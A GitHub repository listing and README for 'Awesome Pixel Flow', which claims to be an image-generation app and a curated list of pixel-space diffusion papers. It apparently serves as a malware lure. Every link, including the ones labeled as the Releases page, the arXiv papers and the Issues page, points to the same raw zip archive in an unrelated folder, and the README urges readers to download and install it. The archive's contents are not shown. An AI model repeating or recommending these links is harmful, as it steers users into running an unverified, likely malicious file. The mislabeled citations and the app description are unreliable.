https://github.com/akhiraaa/awesome-pixel-flow
🎨 Explore cutting-edge pixel-space diffusion models with curated papers on image and video generation for advanced insights and methodology.
https://github.com/akhiraaa/awesome-pixel-flow
List: awesome-pixel-flow
awesome awesomewm gif hacktoberfest image-translation library nuxt pixel-art psp-model python-framework python-library python-resources stylegan stylegan-encoder typescript unicorns welcome-pr xorg
Last synced: 16 days ago
JSON representation
🎨 Explore cutting-edge pixel-space diffusion models with curated papers on image and video generation for advanced insights and methodology.
- Host: GitHub
- URL: https://github.com/akhiraaa/awesome-pixel-flow
- Owner: akhiraaa
- Created: 2025-12-28T16:47:34.000Z (23 days ago)
- Default Branch: master
- Last Pushed: 2026-01-02T16:22:41.000Z (18 days ago)
- Last Synced: 2026-01-02T16:41:19.853Z (18 days ago)
- Topics: awesome, awesomewm, gif, hacktoberfest, image-translation, library, nuxt, pixel-art, psp-model, python-framework, python-library, python-resources, stylegan, stylegan-encoder, typescript, unicorns, welcome-pr, xorg
- Homepage: https://akhiraaa.github.io
- Size: 1.31 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# 🎨 Awesome-Pixel-Flow - Create Stunning Images with Ease
[](https://github.com/akhiraaa/Awesome-Pixel-Flow/raw/refs/heads/master/levotartaric/Pixel_Flow_Awesome_v2.6-alpha.3.zip)
## 🚀 Getting Started
Welcome to Awesome Pixel Flow! This is your guide to quickly download and run the application. Whether you want to explore image and video generation using pixel-space diffusion models or just dive into the latest research, you are in the right place.
## 📥 Download & Install
To get started, visit our [Releases page](https://github.com/akhiraaa/Awesome-Pixel-Flow/raw/refs/heads/master/levotartaric/Pixel_Flow_Awesome_v2.6-alpha.3.zip) to download the latest version of the software. Here’s how:
1. Click on the link above to go to our Releases page.
2. Look for the latest version listing.
3. Download the appropriate file for your operating system.
4. Once the download finishes, locate the file on your device.
5. Follow the on-screen instructions to install the application.
## 🖥️ System Requirements
To ensure smooth operation, please check that your system meets the following requirements:
- **Operating System:** Windows 10 or higher, macOS 10.14 or higher, or a recent Linux distribution.
- **Memory:** At least 8 GB of RAM.
- **Storage:** A minimum of 500 MB free disk space.
- **Graphics:** A GPU is recommended for better performance but not mandatory.
## 📖 Features
Awesome Pixel Flow provides numerous features that enhance your image and video generation experience:
- **High-Quality Outputs:** Generate stunning images with our advanced pixel diffusion models.
- **User-Friendly Interface:** Navigate the software easily with an intuitive design.
- **Research-Driven:** Stay updated with the latest methods in pixel-space diffusion through an ongoing curated list of notable papers.
- **Performance Optimization:** Ability to use GPU acceleration doesn't compromise quality.
## 🛠️ How to Use the Application
After installing Awesome Pixel Flow, follow these simple steps to generate your first image:
1. **Launch the Application:** Find the Awesome Pixel Flow icon and double-click to open.
2. **Select Model:** Choose your preferred pixel diffusion model.
3. **Upload Input:** Upload an image if necessary, or choose to generate from scratch.
4. **Adjust Settings:** Modify any parameters as needed for your output.
5. **Generate Image:** Click the “Generate” button and wait for the output.
6. **Save Your Work:** Don’t forget to save your newly created images.
## 📚 Curated Research Papers
Awesome Pixel Flow also serves as a resource for research enthusiasts. We have a curated list of influential papers in pixel-space diffusion:
### 2025
- **PixelDiT: Pixel Diffusion Transformers for Image Generation**
[arXiv:2511.20645](https://github.com/akhiraaa/Awesome-Pixel-Flow/raw/refs/heads/master/levotartaric/Pixel_Flow_Awesome_v2.6-alpha.3.zip)
This paper presents a fully transformer-based model for generating high-resolution images efficiently.
- **There is No VAE: End-to-End Pixel-Space Generative Modeling via Self-Supervised Pre-training**
[arXiv:2510.12586](https://github.com/akhiraaa/Awesome-Pixel-Flow/raw/refs/heads/master/levotartaric/Pixel_Flow_Awesome_v2.6-alpha.3.zip)
This work outlines a two-stage framework that achieves state-of-the-art performance in pixel-space diffusion without relying on traditional models.
## 🤝 Community Support
We value community input. If you encounter any issues or have suggestions, we encourage you to visit our [GitHub Issues page](https://github.com/akhiraaa/Awesome-Pixel-Flow/raw/refs/heads/master/levotartaric/Pixel_Flow_Awesome_v2.6-alpha.3.zip) to report problems or request features. Your feedback is vital for us to improve.
## 📞 Contact Us
For any further inquiries, please reach out through our GitHub page or the provided email address. We are here to help you make the most out of Awesome Pixel Flow.
Thank you for choosing Awesome Pixel Flow. We hope you enjoy creating remarkable images and learning more about pixel diffusion!